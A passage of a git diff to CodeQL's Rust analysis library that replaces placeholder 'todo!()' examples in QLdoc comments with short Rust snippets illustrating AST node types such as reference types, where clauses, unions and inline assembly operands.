* A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ class ParenTypeRepr extends Generated::ParenTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll index ce1cc7e1b3d..b6b41caea7a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll @@ -12,5 +12,19 @@ private import codeql.rust.elements.internal.generated.ParenthesizedArgList * be referenced directly. */ module Impl { + /** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` + */ class ParenthesizedArgList extends Generated::ParenthesizedArgList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll index 84cb37fcf61..42c32802bc2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll @@ -14,6 +14,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ class PathSegment extends Generated::PathSegment { override string toStringImpl() { result = this.toAbbreviatedString() } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll index cadb690afe8..599a2a753be 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll @@ -13,10 +13,10 @@ private import codeql.rust.elements.internal.generated.PathTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust - * type X = std::collections::HashMap; - * type Y = X::Item; + * let x: (i32); + * // ^^^ * ``` */ class PathTypeRepr extends Generated::PathTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll index c204a22a4ee..3e8c80ba0ea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.PtrTypeRepr */ module Impl { /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ class PtrTypeRepr extends Generated::PtrTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll index 2770b12e9e5..334d223a42c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.RefTypeRepr */ module Impl { /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ class RefTypeRepr extends Generated::RefTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll index 99aead7ffaa..1788cf98c25 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Rename */ module Impl { /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ class Rename extends Generated::Rename { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll index e0fd26aae80..376ea98f22c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.RestPat module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ class RestPat extends Generated::RestPat { diff --git a/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll index 4271ec0f779..e7f9c48869d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.RetTypeRepr */ module Impl { /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ class RetTypeRepr extends Generated::RetTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll index 3ecfd51816c..ffb09d726ab 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll @@ -13,9 +13,22 @@ private import codeql.rust.elements.internal.generated.ReturnTypeSyntax */ module Impl { /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ class ReturnTypeSyntax extends Generated::ReturnTypeSyntax { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll index 4acc2f6aa0a..3c17ad922a6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.SliceTypeRepr */ module Impl { /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ class SliceTypeRepr extends Generated::SliceTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll index 38acafaacf4..7be1e405ddf 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.SourceFile */ module Impl { /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ class SourceFile extends Generated::SourceFile { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll index 69cad71522b..53042411bca 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Static */ module Impl { /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ class Static extends Generated::Static { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll index 8bb9fb3ea0e..85940ef7d21 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.StmtList */ module Impl { /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ class StmtList extends Generated::StmtList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll index c86a488d215..b4197e55885 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructExprFieldList */ module Impl { /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ class StructExprFieldList extends Generated::StructExprFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll index 9b590f0d218..4ed4466c2d9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ class StructField extends Generated::StructField { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll index 8626d38e058..a6a16d430c2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructFieldList */ module Impl { /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ class StructFieldList extends Generated::StructFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll index 9f8888d3b6e..157ffe0b034 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll @@ -16,7 +16,10 @@ module Impl { /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ class Struct extends Generated::Struct { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll index 629406bd118..a2a078a5bf3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructPatFieldList */ module Impl { /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ class StructPatFieldList extends Generated::StructPatFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll index 111613deac3..c785371f999 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll @@ -13,9 +13,16 @@ private import codeql.rust.elements.internal.generated.TokenTree */ module Impl { /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ``` + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends Generated::TokenTree { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll index 56071483928..c11516896b4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.TraitAlias */ module Impl { /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ class TraitAlias extends Generated::TraitAlias { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll index be694161dc7..0eaa4462ea7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TryExpr */ module Impl { /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ class TryExpr extends Generated::TryExpr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll index d777d5b217b..05d799b6047 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ class TupleField extends Generated::TupleField { diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll index 1065853b735..3b5964693f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TupleFieldList */ module Impl { /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleFieldList extends Generated::TupleFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll index c0ac7550920..47b18d2aca9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TupleTypeRepr */ module Impl { /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleTypeRepr extends Generated::TupleTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll index f48c2c50dbe..616bc8e5af5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeArg */ module Impl { /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ class TypeArg extends Generated::TypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll index fea226dd742..c4b70217db2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeBound */ module Impl { /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ class TypeBound extends Generated::TypeBound { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll index bbd38ee7371..1b6fd0e64fe 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeBoundList */ module Impl { /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ class TypeBoundList extends Generated::TypeBoundList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll index 8358afe2429..34af89b587b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ class TypeParam extends Generated::TypeParam { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll index a99b1a7574c..17551c4834e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Union module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ class Union extends Generated::Union { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll index c2b158eeca0..d8f1ed985f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.UseBoundGenericArgs * be referenced directly. */ module Impl { + /** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` + */ class UseBoundGenericArgs extends Generated::UseBoundGenericArgs { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll index 7b99c609a46..a5baa18b81c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll @@ -13,9 +13,9 @@ private import codeql.rust.elements.internal.generated.Use module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ class Use extends Generated::Use { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll index 7e917268a72..6b42cb6fa89 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.UseTree module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A UseTree. For example: + * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll index eb4689c663d..dff1bb12233 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.UseTreeList */ module Impl { /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^ * ``` */ class UseTreeList extends Generated::UseTreeList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll index 8af1d05edba..d6b25b21e28 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll @@ -14,9 +14,12 @@ private import codeql.rust.elements.internal.generated.Variant module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ class Variant extends Generated::Variant { diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll index deff6d7d196..2537307d34e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.VariantList */ module Impl { /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ class VariantList extends Generated::VariantList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll index 0e7f79cd243..356d3f11d04 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Visibility */ module Impl { /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ class Visibility extends Generated::Visibility { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll index 40f01ae51cc..aa916bbee56 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.WhereClause */ module Impl { /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ class WhereClause extends Generated::WhereClause { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll index 386a864eaf0..9f77b9c3c69 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.WherePred */ module Impl { /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ class WherePred extends Generated::WherePred { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll index e41b6a684a1..7271abca089 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.WhileExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ class WhileExpr extends Generated::WhileExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll index f16f5ae4b31..0f1089c4284 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::Abi` class directly. * Use the subclass `Abi`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll index cd5334aedde..c75d722e793 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Expr */ module Generated { /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ArgList` class directly. * Use the subclass `ArgList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll index f990c62beec..c8e68293710 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ArrayTypeRepr` class directly. * Use the subclass `ArrayTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll index 1c94b0accb3..2971536accc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll @@ -14,6 +14,13 @@ import codeql.rust.elements.internal.AsmPieceImpl::Impl as AsmPieceImpl */ module Generated { /** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmClobberAbi` class directly. * Use the subclass `AsmClobberAbi`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll index 3b059400afe..be7539812bc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.Expr */ module Generated { /** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmConst` class directly. * Use the subclass `AsmConst`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll index 868248966e6..7a2f33a0a07 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll @@ -14,6 +14,13 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** + * An inline assembly directive specification. + * + * For example: + * ```rust + * asm!("nop"); + * // ^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmDirSpec` class directly. * Use the subclass `AsmDirSpec`, where the following predicates are available. */ diff 